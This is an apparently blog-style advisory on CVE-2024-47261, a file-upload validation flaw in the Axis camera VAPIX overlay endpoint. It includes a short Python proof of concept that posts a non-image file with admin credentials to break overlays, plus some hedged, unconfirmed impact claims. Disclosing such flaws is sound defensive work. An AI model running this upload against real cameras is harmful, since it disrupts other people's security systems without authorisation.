CVE-2024-47261 - How 51l3nc3 Exposed Axis Camera Overlay Upload Vulnerability

On May 2024, a security researcher known as 51l3nc3, actively participating in the AXIS OS Bug Bounty Program, uncovered a critical flaw in Axis network devices. This vulnerability, now designated CVE-2024-47261, affects the VAPIX API endpoint uploadoverlayimage.cgi. Due to weak input validation, attackers can upload rogue files to the device, disrupting how overlays work in the camera’s web interface. Here’s an exclusive dive into how this flaw works, with code snippets and real-life exploit scenarios.

What’s the Issue?

Axis cameras allow users to create "image overlays"—graphic or text elements—on streams for identification or branding. These overlays are managed via the VAPIX API, specifically through the uploadoverlayimage.cgi endpoint. Normally, this should just handle image files and make sure that only good files get uploaded.

However, 51l3nc3 found that the API didn’t properly check what was being uploaded. This means an attacker could upload any file, even files designed to crash the overlay system or prevent normal operations entirely.

Impact

- Upload arbitrary files: Attackers can upload files beyond plain images, possibly containing malicious content.
- Denial of Service on overlays: By uploading special files, overlays can be broken or blocked, making the web interface less useful or even unusable for overlays.
- Potential code execution: On some firmware or setups, further compromise might be possible (not confirmed, but plausible).

Exploit: Reproducing the Vulnerability

To show how this exploit works, here’s a basic, real-world example.

Step 1: Authenticating

Axis devices often require authentication (Basic or Digest Auth). So, attackers need valid credentials or use brute-force/phishing to get access.

Step 2: Uploading a Malicious File

The endpoint /axis-cgi/overlay/upload.cgi (or its legacy version /axis-cgi/uploadoverlayimage.cgi) can be accessed over HTTP POST. Let’s upload a non-image file (like an oversized text or binary), or even corrupt image data, using Python and the requests library:

import requests

url = "http://<camera_ip>/axis-cgi/uploadoverlayimage.cgi";

# Axis usually requires admin credentials
auth = ('admin', 'your_password')

# Prepare a dummy file with wrong content or extension
files = {
    'file': ('not_an_image.txt', b'CrashingOverlay', 'text/plain')
}

response = requests.post(url, files=files, auth=auth)

print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

If the API fails to validate the file, it will accept it and write over the legitimate overlay location.

Step 3: Blocking Overlay Access

After uploading, when the owner tries to create new overlays or view existing ones, the control panel may display errors or prevent new overlay uploads.

Real-World Impact Scenario

Imagine: A business relies on Overlays in camera feeds for auditing and compliance. An attacker, having internal access or having obtained admin credentials, uploads malformed files to the overlay upload API. Suddenly, management can no longer add their required audit overlay, and video feeds lack crucial labeling. In certain firmware variants, overlays can even break the entire video stream component until the device is manually reset and files are cleaned.

Mitigation and Recommendations

- Update Firmware: Axis has released a patch. Always stay current with updates. Check the advisory: Axis Security Advisories.

Monitor API Access: Restrict and monitor who can access the upload API.

- Stronger Validation: Only allow specific image file types, validate file size and content, and use whitelisting for extensions and mimetypes.

References

- CVE-2024-47261 in NIST NVD (will be updated as assigned)
- Axis Official Bug Bounty Program
- AXIS Security Advisory Portal

Conclusion

CVE-2024-47261 shows how critical input validation is, especially in devices used for physical security. The vulnerability uncovered by 51l3nc3 in the Axis VAPIX API could be abused to block business-critical overlays or lead to worse outcomes on unpatched systems. If you’re running Axis cameras, patch immediately—and always monitor API features, even those that seem innocuous.

Timeline

Published on: 04/08/2025 06:15:43 UTC
Last modified on: 04/08/2025 18:13:53 UTC